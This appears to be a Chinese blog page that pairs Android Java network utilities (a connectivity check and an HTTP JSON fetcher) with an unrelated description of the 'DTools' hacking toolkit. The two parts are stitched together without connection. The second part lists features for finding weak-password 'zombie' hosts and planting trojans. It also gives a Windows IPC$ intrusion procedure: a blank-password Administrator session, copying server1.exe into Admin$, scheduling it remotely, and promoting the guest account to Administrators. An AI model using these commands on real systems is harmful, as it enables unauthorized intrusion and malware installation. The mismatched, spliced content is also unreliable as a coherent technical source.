网络工具类

//网络判断

import android.app.AlertDialog;

import android.content.Context;

import android.content.DialogInterface;

import android.content.Intent;

import android.net.ConnectivityManager;

import android.net.NetworkInfo;

 

import news1510a.bawei.com.a14_zhoukao_test.R;

 

 

/**

 * @author Dash

 * @date 2017/9/27

 * @description:

 *

 * 如果要使用网络状态的判断,需要权限....<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>

 */

public class NetWorkUtil {

 

    /**

     * 这个方法是判断网络状态是否可用的

     * @param context

     * @return

     */

    public static boolean isConn(Context context){

        boolean bisConnFlag=false;

        //1.获取网络连接的管理对象

        ConnectivityManager conManager = (ConnectivityManager)context.getSystemService(Context.CONNECTIVITY_SERVICE);

        //2.通过管理者对象拿到网络的信息

        NetworkInfo network = conManager.getActiveNetworkInfo();

        if(network!=null){

            //3.网络状态是否可用的返回值

            bisConnFlag=network.isAvailable();

        }

        return bisConnFlag;

    }

 

    /**

     * 如果没有网络 弹出dialog对话框,,,是否进入设置网络的页面

     * @param context

     */

    public static void showNoNetWorkDlg(final Context context) {

        AlertDialog.Builder builder = new AlertDialog.Builder(context);

        builder.setIcon(R.mipmap.ic_launcher)         //

                .setTitle("警告")            //

                .setMessage("当前无网络,是否去设置?").setPositiveButton("设置", new DialogInterface.OnClickListener() {

 

            @Override

            public void onClick(DialogInterface dialog, int which) {

                // 跳转到系统的网络设置界面

                Intent intent = null;

                // 先判断当前系统版本

                if(android.os.Build.VERSION.SDK_INT > 10){  // 3.0以上

                    intent = new Intent(android.provider.Settings.ACTION_WIRELESS_SETTINGS);

                }else{

                    intent = new Intent();

                    intent.setClassName("com.android.settings", "com.android.settings.WirelessSettings");

                }

                context.startActivity(intent);

 

            }

        }).setNegativeButton("取消", null).show();

    }

}


 




//网络工具类






import android.content.Context;

import android.os.AsyncTask;

import android.widget.Toast;

 

import java.io.BufferedReader;

import java.io.InputStream;

import java.io.InputStreamReader;

import java.net.HttpURLConnection;

import java.net.URL;

 

import news1510a.bawei.com.a14_zhoukao_test.inter.JsonStringCallaBack;

 

/**

 * @author Dash

 * @date 2017/10/16

 * @description:

 */

public class NetDataUtil {

 

    /**

     * 获取数据之前先判断网络状态

     * @param path

     * @param callaBack

     */

    public static void getData(Context context,final String path, final JsonStringCallaBack callaBack) {

        if (NetWorkUtil.isConn(context)){

            Toast.makeText(context,"网络可用",Toast.LENGTH_SHORT).show();

 

            AsyncTask<Void, Void, String> asyncTask = new AsyncTask<Void, Void, String>() {

                @Override

                protected String doInBackground(Void... voids) {

                    try {

                        URL url = new URL(path);

 

                        HttpURLConnection connection = (HttpURLConnection) url.openConnection();

 

                        connection.setRequestMethod("GET");

                        connection.setReadTimeout(5000);

                        connection.setConnectTimeout(5000);

 

                        int responseCode = connection.getResponseCode();

                        if (responseCode == 200){

                         

InputStream stream = connection.getInputStream();
BufferedReader bu=new BufferedReader(new InputStreamReader(stream,"utf-8"));
String st;
StringBuffer sb=new StringBuffer();
while ((st=bu.readLine())!=null){
    sb.append(st);
}
bu.close();
return  sb.toString();

                        

                        }

 

                    } catch (Exception e) {

                        e.printStackTrace();

                    }

 

                    return null;

                }

 

                @Override

                protected void onPostExecute(String json) {

                    //异步拿回这个json,交给具体解析的那个类

                    callaBack.getJsonString(json);

                }

            };

 

            asyncTask.execute();

        }else {

            NetWorkUtil.showNoNetWorkDlg(context);

        }

 

 

    }

 

 

    private static String streamToString(InputStream inputStream, String charset) {

        try {

            InputStreamReader inputStreamReader = new InputStreamReader(inputStream,charset);

 

            BufferedReader bufferedReader = new BufferedReader(inputStreamReader);

            String s = null;

            StringBuilder builder = new StringBuilder();

            while ((s = bufferedReader.readLine()) != null){

                builder.append(s);

            }

 

            bufferedReader.close();

            return builder.toString();

 

        } catch (Exception e) {

            e.printStackTrace();

        }

 

        return  null;

    }

}




DTools SQL是一款啊d网络工具包。 DTools SQL 啊d网络工具包 v2.02 修正版可以用用“IP端口”扫描可以用针对性的查看整个网段的某个打开的软口! 如冰河端口7626,win的共享端口139等 功能说明: Ctrl+'1' ~ '9' 显示指定数字的页面 CtrL+'-' 前一页 CtrL+'+' 后一页 * 在IP1输入框里双击鼠标左键转到"主机查询" * 在IP2输入框里双击鼠标左键将把IP2输入框的IP转为IP1输入框的IP! * 在程序里,大部分地方都有右键功能! =================================== 文件组成 =================================== DTools.exe 主要的执行文件 Help.txt 帮助文件 Setup.ini 设置文件 IP.^_^ IP数据文件 *.d99 共享资源文件 *.Por 指定扫描的端口文件 1. Ping:判断某IP是否和网络连接的好帮手! 2. 共享资源查找:为你查找网上的共享资源! 3. 常用修改:反恶意网页修改,恢复系统设置等 4. Finger:Finger能为你查询对方系统的用户信息! 5. 端口扫描:使你更加了解对方主机端口的打开状况 6 NT消息发送:向NT的机子发送消息,便用Win介面使用更方便! 7. 路由查看:想知道某IP经过的路由?用本程序就可以给你答案! 8. 进程查看:查看正在运行的软件,查木马还是有一定的帮助的! 9. 本机IP:在上网的时候,想知道自己的IP吗?本程序可以为你办到! 10. IP端口扫描:有针对性的查看整个网段的某个端口,如冰河端口7626! 11. 网卡MAC:快速获取一个网段的 用户名、工作组、对方的网卡MAC地址 12.查错误代号说明 [不知道51这个代号表示什么错误,查一查就知道了! 13.网络状态查看:想知道自己机子打开了什么端口吗?本程序可帮上你的忙! 14.域名<=>IP:想知道域名对应的IP,想知道IP对应的域名,本程序可以帮助你! 15.远程服务查看:你可以查看和修改远程的服务,如关闭和启动Telnet,更方便! 16.主机查询:想知道IP的的所在地?想知道某地有哪些IP,本程序可帮上你的忙! 17.查看用户组信息:Win介面的查看远程机子的用户和组的信息,便用更方便! 18.开远程的:Telnet直截开启微软自带的Telnet,开Telnet,原来也可以这么简单! 19.肉鸡查找:查找一个网段NT,Win2000密码过于简单的主机,还加入了系统版本识别,使用更方便 20.查看隐藏共享:查看远程计算机的全部共享,包括隐藏的共享也可以查看的到,查看共享更方便! 一些常用的DOS网络命令 ================================================================== net share abc$=c:\ 将c:盘映射为 abc$ (加了“$”之后为隐藏的共享目录) net share c$ /del 禁止C$共享 net use z: \\*.*.*.*\C$ 把 *.*.*.*(IP) 的共享 C$ 映射为本地的 Z:盘 net use c: /del 删除映射的c盘 net use * /del /y 删除全部 net start 显示本地主机当前服务 net start telnet 启动 Telnet 服务 net start Server 启动 Server 服务 (IPC$ 和共享要靠这个服务) net stop Messenger 停止信使服务(不会在有烦人的Win的弹出广告了)! net stop server 停止Server 服务 (关了这服务,远程的机子就不能查看你的共享和用IPC$入侵) net user 得到本地主机的用户列表 net user guest /active:yes 将停用的guest帐号激活(变为可用) net user guest 888888 把 Guest 帐号的密码改为 888888 net localgroup Administrators guest /add 把 Guest 加到Administrators组中(这样你就有了超级权限了) net view \\*.*.*.* 查看指定IP主机上的共享 nbtstat -A *.*.*.* 得到远程主机的NetBIOS用户名列表 net share 查看本地主机的共享资源(本地的默认共享也可以看到) net use \\*.*.*.*\ipc$ "" /user:"" 建立空连接 telnet *.*.*.* 90 连接对方机子的telnet,端口为90 ipconfig 查看本机的IP信息 入侵ipc过程序命令 ----------------------------------------------- net use \\*.*.*.*\ipc$ "" /user:"Administrator" 建立用户名为 Administrator 密码为空的连接 copy server1.exe \\*.*.*.*\Admin$\system32 即将当前目录下的Server1.exe复制到对方Admin$共享的System32目录内 net time \\*.*.*.* 查看远程主机的当前时间 at \\*.*.*.* 14:00 server1.exe 在对方机子添加一个在 14:00 运行 server1.exe 的任务 netstat [-r] [-s] [-n] [-a] 参数含义: -r 显示本机路由表的内容; -s 显示每个协议的使用状态(包括TCP协议、UDP协议、IP协议); -n 以数字表格形式显示地址和端口; -a 显示所有主机的端口号。 DTools啊D网络工具包 更新说明; * 强加了远程查看和修改服务功能。 * 强加了查看隐藏共享。 * 强加了查看用户和组信息。 * 强加了NT消息发送。 * 强加了远程开Telnet的功能。 * 强加了查错误代号说明。 * 价面作了修改。 * 修正了在IP1里不能用快捷建 "Ctrl+C" "Ctrl+V" 等问题! 使复制和粘贴更方便! * 软件介面大小可以自由调整!使用更方便! * "肉鸡查找"增加了识别对方系统版本功能!使"肉对查找"有更体贴的感受! * "木马种植"可以只在对方系统添加命令,而不复制文件!就像远程Telnet这么好用! * 修正了"主机查询"的读取某些追捕数据文件会出错的问题! * "网络状态"的右键菜单加入了"查看所有端口所明",想知道你的机子打开端口的说明,一按就全知道! * "路由查看"增加了"显示域名"和"显示对方IP所在地"的功能,了解路由机子的信息更方便! * "共享资源查找"增加了"自动保存"! 当下提示:在主机框里输入IP将会在全部的IP框中加入刚输入的地址!在IP框中输入IP也会把IP加入主机框中!这样才会减少了复制、粘贴的工作量!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值